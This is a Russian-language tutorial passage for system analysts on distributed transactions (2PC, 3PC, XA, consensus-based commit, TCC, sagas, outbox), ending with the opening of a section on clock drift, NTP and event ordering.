    Как считает калькулятор. Время до ответа Анне ≈ круг по сети для PREPARE и голоса + запись участника на диск + запись решения координатором. Замок держится от подготовки до применения COMMIT: ≈ круг по сети + две записи участника + запись координатора. Время самой бизнес-работы (UPDATE) и медленные «хвосты» не учтены — в жизни будет больше. Доступность = доступность координатора × доступность каждого участника: транзакция возможна, только если живы все.

    Четыре статьи расходов

    ⏱ Задержка

    Минимум два круга по сети (PREPARE → голос, COMMIT → ACK) и две-три принудительные записи на диск вместо одной. В одном дата-центре это миллисекунды. Между регионами — десятки и сотни. И ждём всегда самого медленного участника: чем их больше, тем чаще хоть один «тормозит».

    🔒 Блокировки

    Всё, что трогала транзакция, заперто от начала работы до конца второй фазы. На «горячей» строке (последняя пара в распродажу, общий счёт) транзакции выстраиваются в очередь: если замок держится 10 мс, через одну строку пройдёт не больше 100 оплат в секунду. А при падении координатора замок держится до его возвращения.

    📉 Доступность

    Оплата проходит, только если живы все участники и координатор. Доступности перемножаются: четыре узла по 99,9 % дают около 99,6 %, то есть почти 3 часа простоя в месяц вместо 43 минут. Отказ любого участника останавливает все операции, где он нужен.

    🎯 Координатор — точка отказа

    Пока он лежит, сомнительные транзакции не разрешаются. Его журнал — самое ценное место системы: потерять диск координатора = потерять знание, какие транзакции были зафиксированы. Поэтому его нужно резервировать не хуже самой ценной базы.

    И пятая, скрытая статья — эксплуатация. Сомнительные транзакции надо видеть (мониторинг), уметь разбирать (регламент), а все участники должны поддерживать протокол — и одинаково трактовать его крайние случаи. Когда участников пишут разные команды на разных технологиях, это становится отдельным проектом.

    глава 8 · 3PC трёхфазный коммит: лекарство от ожидания, которое не прижилось

    Главная беда 2PC — ожидание, если координатор упал в неудачный момент. В 1981 году Дейл Скин (Dale Skeen) предложил, как от него избавиться: добавить между голосованием и фиксацией ещё одну фазу.

    Трёхфазный коммит (3PC, three-phase commit) — протокол фиксации в три шага. CanCommit: «можете?» — участники голосуют. PreCommit: «все согласились, готовьтесь фиксировать» — участники переходят в состояние «предфиксация» и подтверждают. DoCommit: «фиксируйте».
    экспедиция перед восхождением. Сначала руководитель спрашивает каждого: «Готов идти?» Потом, когда все сказали «да», объявляет всем: «Все согласны, выходим утром» — и ждёт, что каждый услышал. И только потом: «Пошли». Если руководитель ночью заболел, группа может решить сама: раз все слышали «все согласны» — идём; если кто-то не слышал — значит, объявления не было, никуда не идём.

    Почему третья фаза снимает ожидание

    В 2PC сомнительный участник не знает, что решил координатор: COMMIT и ABORT одинаково возможны. В 3PC состояние «предфиксация» несёт знание: «все проголосовали “да”». А DoCommit рассылается только после того, как все подтвердили предфиксацию. Отсюда правило для оставшихся в живых, если координатор пропал:

    кто-то из живых в «предфиксации»Значит, все голосовали «да», и никто не мог отменить. Безопасно фиксировать: новый координатор из выживших доводит COMMIT.
    никто из живых не в «предфиксации»Значит, DoCommit не мог уйти никому: для него нужны подтверждения предфиксации от всех. Безопасно отменять.
    Но это работает при одном условии. Узлы должны надёжно отличать «упал» от «медленно отвечает»: сеть синхронная, у задержек есть известный предел, узлы падают и молчат, а не пропадают за разрывом сети. В настоящих сетях так не бывает. Разрыв сети выглядит как падение — и каждая половина по правилам выше примет своё решение.

    Проиграйте оба протокола в двух ситуациях. Сначала «падает координатор» — 3PC выигрывает. Потом «разрыв сети» — 3PC проигрывает, причём хуже, чем 2PC.

    Почему 3PC почти не используют

    Разрыв сети

    При разделе сети 3PC может зафиксировать транзакцию в одной половине и отменить в другой. 2PC в той же ситуации просто ждёт — медленно, но честно. Для денег «честно ждать» лучше, чем «быстро разойтись».

    Ещё один круг

    Три фазы — это минимум три круга по сети вместо двух и дольше удерживаемые блокировки. Цену платим всегда, а выигрываем только в редком случае падения координатора.

    Есть решение лучше

    Проблема «координатор упал» решается иначе: сделать координатора не одним сервером, а группой, которая договаривается большинством голосов (консенсус). Так и работают современные распределённые базы — глава 10.

    Для любознательных. Улучшенный вариант E3PC (Кейдар и Долев, 1990-е) использует кворумы и продолжает работу в той части сети, где большинство. А Джим Грей и Лесли Лэмпорт в 2006 году описали Paxos Commit — двухфазный коммит, где решение хранится не на одном координаторе, а реплицируется протоколом консенсуса. Эта идея и победила на практике.

    глава 9 · XA и PostgreSQL как 2PC выглядит в настоящих базах

    Чтобы менеджер транзакций мог командовать базами разных производителей, нужен общий язык. Его придумали в 1991 году.

    XA (eXtended Architecture) — стандарт консорциума X/Open (сейчас The Open Group) «Distributed Transaction Processing: The XA Specification». Описывает, как менеджер транзакций (TM) управляет менеджерами ресурсов (RM) по протоколу 2PC. Роли три: приложение (AP), менеджер транзакций (TM), менеджеры ресурсов (RM — базы, брокеры).
    стандартная вилка-розетка. Менеджеру транзакций не нужно знать, как устроена каждая база внутри: если база «с розеткой XA», он умеет сказать ей «приготовься», «фиксируй», «откатывай» и «покажи, что у тебя зависло».
    Функция XAЧто значитШаг 2PC
    xa_start / xa_endпривязать работу в этом соединении к глобальной транзакции с идентификатором Xid (глобальная часть + номер ветки)работа
    xa_prepareподготовиться; ответ XA_OK = «ДА», XA_RDONLY = «я только читал», ошибка = «НЕТ»фаза 1
    xa_commit / xa_rollbackзафиксировать или откатить подготовленную ветку; у xa_commit есть флаг «одной фазой» для случая с одним участникомфаза 2
    xa_recover«покажи все подготовленные и не завершённые ветки» — этим менеджер транзакций пользуется после перезапускавосстановление
    xa_forgetзабыть ветку, по которой участник принял эвристическое решениепосле эвристики

    ☕ В Java: JTA

    Jakarta Transactions (JTA, раньше — Java Transaction API) — стандартный интерфейс к менеджеру транзакций: UserTransaction, TransactionManager, аннотация @Transactional. Базы и JMS-брокеры подключаются через XAResource. Менеджеры транзакций — например, Narayana (в WildFly и Quarkus) и Atomikos. С ними одна аннотация действительно охватывает две XA-базы.

    🗄 Кто умеет быть участником

    PostgreSQL (PREPARE TRANSACTION), MySQL/InnoDB (XA START … XA PREPARE … XA COMMIT, список зависших — XA RECOVER), Oracle, SQL Server (через MSDTC), IBM Db2; из брокеров — классические JMS-брокеры вроде IBM MQ и ActiveMQ Artemis.

    PostgreSQL: оплата Анны построчно

    В PostgreSQL сам координатор не встроен — есть только роль участника. Координатором будет наш сервис (или менеджер транзакций в нём). Пройдите по шагам: две базы, «Кошелёк» и «Склад», каждая на своём сервере.

    Почему забытая подготовленная транзакция опасна

    🔒 Замки навсегда

    Подготовленная транзакция держит все свои блокировки, и они переживают перезапуск сервера. Строка счёта Анны заперта, пока кто-то не выполнит COMMIT PREPARED или ROLLBACK PREPARED. Ждать может неделю.

    🧹 VACUUM не может убрать мусор

    Пока висит старая подготовленная транзакция, база обязана хранить старые версии строк, которые она теоретически может увидеть. Таблицы пухнут, запросы замедляются. В крайнем случае, как предупреждает документация, база остановится, чтобы не допустить переполнения счётчика транзакций (transaction ID wraparound).

    🎫 Слоты кончаются

    Их ровно max_prepared_transactions. Забытые занимают места, и однажды новый PREPARE TRANSACTION получит ошибку «достигнуто максимальное число подготовленных транзакций».

    🙈 Их не видно в обычных местах

    У подготовленной транзакции нет соединения: в pg_stat_activity её нет. Смотреть надо в pg_prepared_xacts. Поэтому документация советует держать max_prepared_transactions = 0, если нет внешнего менеджера транзакций, который за ними следит.

    -- мониторинг: подготовленные транзакции старше 5 минут — повод для тревоги
    SELECT gid, database, owner, prepared, now() - prepared AS age
    FROM   pg_prepared_xacts
    WHERE  prepared < now() - interval '5 minutes'
    ORDER  BY prepared;

    Почему брокеры и облака XA обычно не поддерживают

    КтоXA?Почему так
    KafkaнетУ Kafka свои транзакции — атомарная запись в несколько разделов и тем внутри самой Kafka. Участвовать во внешнем 2PC она не умеет. Предложение об этом (KIP-939) сообщество приняло, но его реализация шла медленно — проверяйте для своей версии.
    RabbitMQнетОчередь рассчитана на быстрый поток сообщений; держать сообщения в «подготовленном» состоянии неограниченно долго и восстанавливать их по журналу она не умеет.
    HTTP-сервисы, платёжные шлюзы, SaaSнетУ HTTP нет понятия «подготовиться и ждать». Чужой сервис не будет держать у себя ваши блокировки, пока ваш координатор перезагружается.
    Облачные очереди и NoSQL (SQS, Pub/Sub, DynamoDB, MongoDB)нетУ многих есть свои транзакции внутри одного сервиса, но не XA. Облако обслуживает тысячи клиентов: сомнительная транзакция одного клиента не должна запирать ресурсы для остальных на неопределённое время.
    Реляционные базы, IBM MQ, ActiveMQ ArtemisдаИсторически жили в корпоративных системах с менеджером транзакций, где 2PC между базой и очередью был стандартной практикой.
    Проще говоря. Участник 2PC должен уметь то, что противоречит идее масштабируемого облачного сервиса: хранить чужие обещания бесконечно, держать ради них замки и ждать внешнего решения. Поэтому XA живёт там, где все участники — ваши собственные базы в одном дата-центре, а не там, где есть Kafka, HTTP и чужие API.

    глава 10 · 2PC на консенсусе как это делают Spanner, CockroachDB, YugabyteDB и TiDB

    Если 2PC такой проблемный, почему современные распределённые базы дают настоящие транзакции на много узлов? Потому что они используют тот же 2PC, но убирают его главную слабость: ни координатор, ни участник у них не один сервер.

    2PC поверх групп консенсуса — схема, в которой каждый участник и запись о состоянии транзакции — это не один узел, а группа копий (обычно 3 или 5), договаривающихся большинством голосов по протоколу Raft или Paxos. Запись «PREPARED» или «решение COMMIT» считается сделанной, только когда её сохранило большинство копий группы.
    решение хранится не в блокноте одного регистратора, а в протоколе, который подписали трое из пяти членов комиссии. Один член комиссии заболел — протокол у остальных, заседание продолжает новый председатель.

    Как работает консенсус и выборы лидера — в разделе , как копии догоняют друг друга — в . Здесь важно одно следствие: пока жив кворум (большинство копий) группы, группа жива. Упал один узел — через несколько секунд выбран новый лидер, и у него на диске есть всё, что было подтверждено.

    Проиграйте одну и ту же аварию — «сгорел сервер, на котором был координатор» — в классическом 2PC и в 2PC на консенсусе.

    Как это устроено у конкретных систем

    Google Spanner

    Данные разбиты на части, каждая — группа Paxos. Транзакция на несколько групп идёт через 2PC: одна из групп-участников становится координатором, а записи «подготовлено» и «решение» проходят через Paxos своих групп. Порядок транзакций задают часы TrueTime: они возвращают не «точное время», а интервал с гарантированной погрешностью. Перед тем как объявить COMMIT, Spanner ждёт, пока погрешность пройдёт (commit wait). По данным Google, погрешность TrueTime меньше 1 мс в 99 % случаев, и обычно это ожидание прячется внутри репликации.

    CockroachDB

    Каждый диапазон ключей — группа Raft. Транзакция оставляет на ключах «намерения» (write intents), а её статус хранится в записи о транзакции (transaction record), тоже реплицированной Raft. Если узел, который вёл транзакцию, пропал, другие узлы, наткнувшись на намерения, проверяют запись о транзакции и доводят или отменяют её сами. Приём parallel commits (с версии 19.2) пишет статус «STAGING» параллельно с последними изменениями и сокращает фиксацию с двух раундов консенсуса до одного.

    YugabyteDB

    Таблицы разбиты на таблеты — группы Raft. Изменения распределённой транзакции сначала пишутся как временные записи (provisional records), а её статус — в отдельный таблет статусов транзакций, тоже реплицированный. Фиксация = смена статуса в этом таблете одной записью через Raft.

    TiDB / TiKV

    Модель по мотивам Google Percolator. Время выдаёт центральный сервис PD (timestamp oracle). Фаза 1 — prewrite: на все ключи ставятся замки, один ключ назначается главным (primary). Фаза 2 — фиксация главного ключа: это и есть точка невозврата; остальные ключи дофиксируются следом, а читатели, встретив замок, смотрят на главный ключ. Всё хранится в TiKV — группах Raft. С версии 5.0 есть оптимизации async commit и 1PC.

    Что остаётся от цены. Блокировки и два шага фиксации никуда не делись. Каждая запись теперь — раунд консенсуса, и если копии стоят в разных регионах, это десятки миллисекунд на каждый шаг. При конфликтах такие базы часто просят клиента повторить транзакцию (в CockroachDB — ошибка с кодом 40001), и код приложения должен уметь повторять. Поэтому их проектируют так, чтобы данные одной транзакции лежали рядом: в одном регионе, в одном диапазоне ключей.
    Проще говоря. Современные базы не изобрели «2PC без ожидания». Они сделали так, что ждать почти не приходится: упавший узел за секунды заменяется другим, у которого есть копия журнала. Блокироваться транзакция будет, только если откажет большинство копий группы — но тогда недоступна и сама группа. Об устройстве часов и порядка событий — в разделе .

    глава 11 · TCC попросить придержать: Try — Confirm — Cancel

    Анна купила кроссовки и собралась на забег в Казань. Через сервис «Поездки» она бронирует гостиницу и билет на поезд. Гостиница и железная дорога — чужие компании со своими API. Никакого XA у них нет и не будет. Но им и не нужно держать блокировки базы: у них есть понятная бизнес-операция — придержать.

    TCC (Try–Confirm–Cancel, «попробовать — подтвердить — отменить») — способ провести распределённую операцию через три бизнес-действия у каждого участника. Try — проверить и зарезервировать ресурс (номер, место, деньги), никому его не отдавая. Confirm — превратить резерв в настоящую покупку. Cancel — снять резерв. Оркестратор вызывает Try у всех, и если все успешны — Confirm у всех, иначе Cancel у всех.
    залог на карте в гостинице. При заселении банк не списывает деньги, а блокирует сумму на вашей карте (Try). При выезде отель либо списывает заблокированное (Confirm), либо снимает блокировку (Cancel). А если отель забыл, блокировка сама исчезнет через несколько дней — у резерва есть срок годности. Ровно так в картах работают авторизация, списание и отмена авторизации.

    Чем TCC отличается от 2PC и от саги

    От 2PC

    «Подготовка» — это не замок в базе, а бизнес-состояние «в резерве», записанное обычной короткой локальной транзакцией. База ничего не держит. И у резерва есть срок: участник не обязан ждать координатора вечно.

    От саги

    Сага сначала делает по-настоящему (списала, продала), а при неудаче компенсирует. TCC сначала только резервирует. Поэтому никто не увидит «номер продан, а потом возвращён» — только «номер придержан».

    Цена

    Каждый участник должен уметь три операции вместо одной и хранить статус резерва. А ещё переживать повторы, опоздания и перепутанный порядок сообщений — три ловушки ниже.

    Правила, без которых TCC ломается

    Try проверяет всёВсё, из-за чего покупка может не пройти, проверяется в Try: номер свободен, деньги есть, лимит не превышен. Если Try успешен, Confirm по бизнесу не имеет права отказать — его повторяют до успеха.
    решение — в журналКак и координатор 2PC, оркестратор сначала записывает решение «Confirm» или «Cancel» в свой журнал, а потом рассылает. После перезапуска доводит записанное; нет решения — отменяет.
    Confirm и Cancel идемпотентныЛюбое сообщение может прийти дважды: ответ потерялся, оркестратор повторил. Второй Confirm не выписывает второй билет, второй Cancel не возвращает место дважды.
    срок резерва с запасомРезерв живёт дольше, чем оркестратор может повторять Confirm. Иначе Confirm придёт к уже истёкшему резерву, и получится половинка: гостиница подтвердила, а место в поезде ушло другому.
    Пустая отмена (empty cancel, null compensation) — Cancel пришёл к участнику, у которого Try не выполнялся: запрос Try потерялся или ещё в пути. Участник должен ответить «OK», ничего не меняя, и запомнить, что эта транзакция отменена.
    Подвешивание (hanging, suspension) — опоздавший Try приходит после Cancel. Если участник его выполнит, резерв повиснет навсегда: транзакция уже закончена, никто не пришлёт ни Confirm, ни Cancel. Защита (anti-hanging) — отклонить Try, если по этой транзакции уже была отмена.

    Проиграйте шесть сценариев. Переключатель «защита» включает у участников журнал TCC — таблицу, где по номеру транзакции записан её статус. Выключите защиту в сценариях 4–6 и посмотрите, что сломается.

    Журнал TCC у участника: одна таблица против трёх ловушек

    Все три ловушки лечатся одинаково: участник хранит по каждой транзакции строку со статусом и меняет её в той же локальной транзакции, что и бизнес-данные. Так делают готовые фреймворки: в Seata это таблица tcc_fence_log (с версии 1.5.1), в DTM — «барьер подтранзакций».

    -- Cancel у сервиса билетов (упрощённо, одна локальная транзакция)
    BEGIN;
    INSERT INTO tcc_log (tx_id, status) VALUES ('T7', 'CANCELLED_BEFORE_TRY')
      ON CONFLICT (tx_id) DO NOTHING;          -- строки не было → пустая отмена:
                                               -- запомнили «отменено до Try», и всё
    UPDATE tcc_log SET status = 'CANCELLED'
     WHERE tx_id = 'T7' AND status = 'TRIED';  -- 1 строка → Try был, резерв надо снять
    UPDATE seats SET state = 'free', tx_id = NULL
     WHERE tx_id = 'T7' AND state = 'held';    -- найдёт место, только если Try его брал
    COMMIT;                                    -- ответ OK в любом случае: и при повторе,
                                               -- когда статус уже был CANCELLED
    
    -- Try: если по T7 уже есть строка (например, CANCELLED_BEFORE_TRY) — отклонить.
    -- Это и есть защита от подвешивания.
    ПришлоЧто в журналеЧто делать
    Tryничегозарезервировать, записать TRIED
    TryCANCELLED или CANCELLED_BEFORE_TRYотклонить — защита от подвешивания
    ConfirmTRIEDподтвердить, записать CONFIRMED
    ConfirmCONFIRMEDответить OK, ничего не делать — идемпотентность
    CancelTRIEDснять резерв, записать CANCELLED
    Cancelничегозаписать CANCELLED_BEFORE_TRY, ответить OK — пустая отмена
    CancelCANCELLEDответить OK — идемпотентность

    Секвенс: TCC с повтором Confirm

    Проще говоря. TCC — это 2PC, перенесённый из базы данных в бизнес-логику. Вместо замка — статус «в резерве», вместо бесконечного ожидания — срок резерва, вместо протокола базы — три API и журнал. Атомарность достигается не мгновенно, а в итоге: какое-то время ресурсы честно висят в резерве.

    глава 12 · без общей транзакции сага, резерв, outbox и перекройка границ

    Чаще всего лучшая распределённая транзакция — та, которой нет. Вот четыре пути, которыми команды обходятся без неё. Каждый подробно разобран в своём разделе — здесь главное, чтобы видеть их рядом с 2PC.

    🔗 Сага

    Цепочка локальных транзакций: каждая фиксируется сразу. Если шаг не удался, для предыдущих выполняются компенсации — новые действия, отменяющие старые (вернуть деньги, вернуть товар). Промежуточные состояния видны всем: Анна может увидеть «оплачено», а через секунду — «отменено, деньги вернутся».

    Из жизни: отпуск. Забронировали отель, купили билет, рейс отменили — звоните в отель и отменяете бронь отдельно.

    📥 Резервирование и эскроу

    Вместо блокировки строки на время всей операции — перенос количества в отдельную «корзину»: free − 1, reserved + 1 одной короткой локальной транзакцией. Параллельные покупки не ждут замка, они видят, сколько осталось свободным. Идея известна как эскроу-транзакции (escrow): часть ресурса «откладывается» под операцию. Это основа Try в TCC.

    Из жизни: продавщица откладывает вам платье «под прилавок» до вечера — остальные платья на вешалке продаются как обычно.

    📤 Outbox и идемпотентные потребители

    Если второе действие должно просто обязательно случиться потом (начислить бонусы, отправить письмо, обновить поиск), не нужна никакая общая транзакция. Изменение и событие о нём пишутся в одну базу одной локальной транзакцией, отдельный процесс доставляет событие. Получатель обрабатывает повторы безопасно — хранит номера уже обработанных сообщений.

    Из жизни: заказное письмо с уведомлением: почта доставит, а если принесёт уведомление дважды — вы не оплатите покупку второй раз.

    ✂ Одна база на операцию

    Самый недооценённый путь — перекроить границы. Если «Кошелёк» и «Заказы» всегда меняются вместе, возможно, это одна бизнес-сущность, разрезанная зря. Перенесите данные так, чтобы операция жила в одной базе, — и вернётся обычная ACID-транзакция: быстрая, строгая и бесплатная.

    Из жизни: если к каждому заказу вы едете в два разных склада, возможно, пора хранить эти товары на одном.

    Что увидит Анна, если Склад откажет, — при разных подходах

    ПодходЧто видит АннаДеньги АнныЧто делает система
    «Просто по очереди»ошибкусписаны, заказа нетничего; разбирается поддержка
    2PCошибку сразуне списывались ни на мигABORT у всех; до решения строки были заперты
    TCCошибку через доли секундыбыли заблокированы (резерв), блокировка снятаCancel у всех, кто успел Try
    Сага«оплачено», затем «отменено, деньги вернутся»списаны и возвращены — две строки в выпискекомпенсация: возврат денег
    Outboxзависит от того, что было первым шагомoutbox не отменяет — он только доставляетповторяет доставку, пока получатель не примет
    Изоляции нет нигде, кроме 2PC. В саге, TCC и outbox промежуточное состояние видно: у саги — как «сделано и отменено», у TCC — как «в резерве», у outbox — как «уже здесь, ещё не там». Это не ошибка, а плата за отказ от блокировок. Задача аналитика — описать, что именно видит пользователь в эти секунды (подробно — в разделе ).

    глава 13 · выбор сравнение подходов, дерево решений и требования

    Сравнительная таблица

    Нажмите на строку — раскроется пояснение.

    Дерево решений: какой подход взять

    Отвечайте на вопросы про свою операцию. Порядок вопросов не случаен: сначала ищем способ обойтись без распределённой транзакции вовсе.

    Как это звучит в требованиях аналитика

    Аналитик Олег не пишет «использовать 2PC». Он пишет, какую гарантию получает бизнес, сколько может длиться промежуточное состояние и что делать, когда что-то зависло. Выбор механизма — следствие этих строк.

    атомарностьСписание средств, резерв товара и создание заказа выполняются как одна операция: ни при каком сбое клиент не должен остаться со списанными средствами без созданного заказа дольше 60 секунд.
    допустимая временная несогласованностьДопускается, что в течение не более 30 секунд после оплаты заказ отображается в статусе «Оформляется». Остаток товара на витрине может отставать от склада не более чем на 1 минуту.
    компенсацииЕсли резерв товара не подтверждён, резерв снимается автоматически через 15 минут, а заблокированные средства возвращаются на баланс клиента не позднее чем через 1 минуту после снятия резерва. В истории операций клиента отражаются и блокировка, и её снятие.
    идемпотентностьПовторный вызов подтверждения или отмены с тем же идентификатором операции возвращает прежний результат и не изменяет данные. Отмена операции, по которой не было резерва, завершается успешно.
    SLA на «зависшие» операции99,9 % операций оплаты завершаются (успехом или отменой) за 5 секунд. Операции в промежуточном статусе дольше 10 минут попадают в отчёт «Зависшие операции», дежурный получает оповещение.
    ручной разборДля операций, не завершённых за 24 часа, есть экран ручного разбора с действиями «Довести» и «Отменить». Каждое ручное решение записывается в журнал аудита с указанием сотрудника и причины. Ручное решение по сомнительной транзакции 2PC согласуется с владельцами всех затронутых систем.

    Вопросы, которые Олег задаёт команде

    • Что будет, если упасть посередине? Для каждого шага: какие данные уже изменены и кто их вернёт.
    • Сколько может длиться «наполовину»? Секунды, минуты, сутки? Кто это видит и что ему показать?
    • Что заперто и насколько? Какие ресурсы нельзя продать или изменить, пока операция думает, и есть ли у этого срок.
    • Все ли участники умеют то, что от них требуется? XA, три API для TCC, компенсацию — или это чужой API, который умеет только «сделать».
    • Как узнать о зависшей операции раньше клиента? Метрика, оповещение, отчёт.
    • Кто и по какому регламенту решает вручную? И как потом сверить данные.

    Тренажёр: выберите подход под ситуацию

    Решено 0 из 0.

    глава 14 · проверь себя частые ошибки и вопросы

    Частые ошибки

    Нажмите на пункт — откроется, как это выглядит и что делать вместо этого.

    Вопросы

    Решено 0 из 0.

    Вся история в пяти фразах. Одна операция на несколько баз не бывает атомарной сама. 2PC делает её атомарной ценой ожидания: участники обещают, координатор решает, журналы переживают падения — но пока координатора нет, данные заперты. 3PC пытался убрать ожидание и сломался на разрывах сети; современные базы убрали его иначе — реплицировав координатора и участников консенсусом. Там, где этого нет, работают TCC, сага и outbox: они жертвуют изоляцией ради доступности. А лучше всего — так провести границы сервисов, чтобы операции хватало одной базы.
    Дальше → следующий раздел — «Время и порядок ⏱»

    У распределённой системы нет общих часов. Поэтому на вопрос «что было раньше?» нет простого ответа. У каждого сервера свои часы, и все они немного врут. Пока сервер один, этого не видно. Когда серверов два, неверные часы тихо теряют покупки, путают статусы заказов и портят отчёты. Раздел проведёт одна история «Ботинка»: два склада, два сервера, один остаток кроссовок — и вопрос «кто был первым?».

    зачем это зачем аналитику думать о часах и порядке

    карта раздела одна история, четырнадцать глав

    Главы идут по порядку: каждая опирается на предыдущую. Нажмите на главу, чтобы перейти к ней. Живые модели — в главах 3, 4, 8, 9, 10 и 11.

    глава 1 · завязка «кто был первым?»: два сервера и один остаток

    «Ботинок» вырос. Теперь у него два склада — в Москве и в Казани — и два сервера приложений, А и Б. Покупатель попадает на любой из них: так решает балансировщик. Остатки товара лежат в общей базе.

    Модель «Air 42»: осталось 3 пары. В 12:00:00.000 Анна нажимает «Купить». Её обслуживает сервер А. Он читает остаток, вычитает одну пару и записывает «2». Через 40 миллисекунд Борис нажимает «Купить». Его обслуживает сервер Б. Тот читает остаток — уже 2 — и записывает «1».

    Всё честно: Борис видел результат Анны и действовал после неё. Но база устроена по простому правилу: «из двух записей побеждает та, у которой метка времени позже». Метку ставит сервер — по своим часам. А часы сервера Б отстают на 100 миллисекунд. Пройдите историю по шагам.

    Разберём слова, на которых держится вся глава.

    Событие (event) — всё, что случилось в одном месте в один момент: сервер записал строку, отправил сообщение, получил ответ, пользователь нажал кнопку.
    Порядок событий — ответ на вопрос «что из двух было раньше». Внутри одного сервера он очевиден: сервер делает дела по очереди. Между двумя серверами — нет: у каждого своя очередь и свои часы.
    Метка времени (timestamp) — число, которое сервер ставит на событие по своим часам. Например, 2026-09-30T12:00:00.000Z. Метка говорит, сколько показывали эти часы, а не сколько было на самом деле.
    два почтальона на разных концах города записывают в блокнот время доставки. У одного часы спешат на пять минут. По их блокнотам нельзя честно сказать, кто доставил письмо раньше, если между доставками меньше пяти минут. А если спросить «кто последний?» — всегда будет выигрывать тот, чьи часы спешат.

    Три вопроса раздела

    1. Можно ли верить часам?

    Главы 2–3. Нет. Разберём, насколько они врут, почему, и что из-за этого ломается. Потрогаем поломку руками.

    2. Как упорядочить без часов?

    Главы 4–8. Логические часы, векторы, версии, порядок сообщений. Способы сказать «что было раньше», не спрашивая время.

    3. Как жить со временем в данных?

    Главы 9–13. Потоки событий, идентификаторы, UTC и часовые пояса, формулировки требований.

    Проще говоря. Время — плохой судья. Часы годятся, чтобы показать человеку «когда примерно». А чтобы решать, какая запись главнее, нужны другие инструменты: номера версий, счётчики, логические часы. О них и раздел.
    Часто в постановке пишут: «Актуальным считается последнее изменение». Правильный вопрос аналитика: последнее — по чьим часам? По часам сервера? Телефона? По порядку в базе? От ответа зависит, будут ли теряться данные.

    глава 2 · почему почему часы врут

    Кажется, что время в компьютере точное: там же электроника. Но у каждого сервера свои часы, и они расходятся. Разберём по шагам, откуда берётся ошибка.

    Шаг 1. Кристалл, который колеблется «почти» ровно

    В каждом сервере есть кварцевый генератор — крошечный кристалл, который колеблется с почти постоянной частотой. Компьютер считает колебания и так узнаёт, сколько прошло времени. Ключевое слово — «почти». Частота зависит от температуры, возраста и конкретного экземпляра кристалла.

    Дрейф часов (clock drift) — скорость, с которой часы уходят от точного времени. Измеряют в ppm — миллионных долях: 1 ppm — это ошибка в 1 микросекунду за каждую секунду, около 86 миллисекунд в сутки.
    Разбег часов (clock skew) — разница показаний двух часов в один и тот же момент. Если одни спешат, а другие отстают, разбег растёт вдвое быстрее дрейфа.
    механические наручные часы. Одни за месяц убегают на минуту, другие отстают на полминуты. Через месяц у двух друзей «одно и то же» время отличается на полторы минуты — хотя оба ставили часы по радио.

    Для серверов Google в статье о базе Spanner закладывает худший случай в 200 ppm. Это примерно 17 секунд в сутки, если часы никто не подводит. Поэтому часы подводят постоянно.

    Шаг 2. NTP подводит часы — но тоже неточно

    NTP (Network Time Protocol, протокол сетевого времени) — сервер регулярно спрашивает время у эталонного сервера и подправляет свои часы. В Linux этим обычно занимается служба chrony или ntpd.

    Беда в том, что ответ идёт по сети. Сервер знает, сколько длился путь «туда и обратно», но не знает, как он поделился: может, туда шло 1 мс, а обратно 9. Поэтому NTP ошибается на величину этой несимметричности. В хорошей локальной сети — доли миллисекунды. Через интернет — обычно единицы и десятки миллисекунд. А если эталон недоступен, часы просто дрейфуют дальше.

    Ещё важнее — как NTP исправляет ошибку. Небольшое расхождение исправляется плавно: часы чуть ускоряют или замедляют ход (это называют slew). Большое — скачком (step): часы сразу переставляют. У классического ntpd порог скачка — 128 мс. Скачок может быть и назад: было 12:00:05, стало 12:00:03. Для программы это значит, что время пошло вспять.

    Посчитайте сами: насколько разойдутся два сервера

    50
    как часто часы подводят
    200
    Как читать расчёт. «Уход одних часов» — насколько часы успевают убежать между двумя подводками. «Разбег двух серверов» — худший случай, когда одни спешат, а другие отстают. К этому ещё добавляется ошибка самой синхронизации через сеть. «Покупок в зоне риска» — сколько покупок случается за время разбега: для любой пары из них часы могут перевернуть порядок.

    Шаг 3. Лишняя секунда и её «размазывание»

    Високосная секунда (leap second) — лишняя секунда, которую иногда добавляли к всемирному времени UTC, чтобы оно не убегало от вращения Земли. Тогда после 23:59:59 наступало 23:59:60. Последний раз так было 31 декабря 2016 года. В 2022 году Генеральная конференция по мерам и весам решила отказаться от високосных секунд к 2035 году.

    Программы не ждут секунды с номером 60. 30 июня 2012 года из-за ошибки в ядре Linux многие Java-сервисы после високосной секунды загрузили процессоры до предела — пострадали Reddit, Mozilla и другие. 1 января 2017 года у Cloudflare часть DNS-серверов упала: код вычел один момент времени из другого, получил отрицательное число и сломался.

    Размазывание секунды (leap smear) — вместо одной лишней секунды часы идут чуть медленнее в течение суток и «впитывают» её незаметно. Google рекомендует линейное размазывание за 24 часа, с полудня до полудня UTC. Так же поступают и другие облака, например AWS.
    вместо того чтобы однажды остановить все часы в городе на секунду, их весь день чуть-чуть притормаживают. Никто не замечает, и никто не видит «23:59:60».
    Подвох. В сутки размазывания ваши часы расходятся с «честным» UTC до половины секунды. Если одни серверы размазывают, а другие — нет, они разойдутся именно на эти полсекунды. Правило: все машины одной системы берут время из одного источника с одной политикой.

    Шаг 4. Паузы: процесс уснул и не заметил

    Бывает, что процесс просто останавливается и не знает об этом. Виртуальную машину на секунды замораживают при переезде на другой физический сервер (живая миграция). Сборщик мусора в Java останавливает все потоки программы (stop-the-world). Ноутбук закрыли, а через час открыли. Для программы это выглядит так: одна строчка кода, следующая строчка — а между ними прошло 15 секунд.

    Пример. Сервис списаний взял блокировку «я один правлю остаток» на 10 секунд. Проверил: «блокировка моя, осталось 8 секунд». Уснул на 15 секунд в сборке мусора. Проснулся — и записал. Хотя блокировка давно истекла и её получил другой. Время, которое сервис «видел», и настоящее время разошлись.

    Маркер ограждения (fencing token) — число, которое растёт при каждой выдаче блокировки: 33, 34, 35… Хранилище запоминает самый большой увиденный номер и отклоняет запись с меньшим. Уснувший сервис придёт с номером 33, а в хранилище уже был 34 — его запись отклонят.
    номерок в гардеробе. Если по ошибке выдали два номерка на одно место, гардеробщик отдаст пальто только по последнему, а старый номерок признает недействительным.

    Заметьте: защитились мы не часами, а растущим номером. Эта мысль будет возвращаться весь раздел. Про блокировки с арендой и выборы лидера — в разделе .

    Шаг 5. Два вида часов: стенные и секундомер

    🕰 Стенные часы (wall clock)

    Показывают дату и время суток. Их можно переводить: NTP, человек, високосная секунда. Поэтому они могут прыгнуть назад.

    Для чего: момент, который увидит человек или который сохраняется в данных — «заказ создан в 12:00:03 UTC».

    System.currentTimeMillis() · Date.now() · time.time() · CLOCK_REALTIME

    ⏱ Монотонные часы (monotonic clock)

    Счётчик «сколько прошло с какого-то момента», обычно с загрузки. Никогда не идёт назад. Само значение ничего не значит, а разница двух показаний — точная длительность.

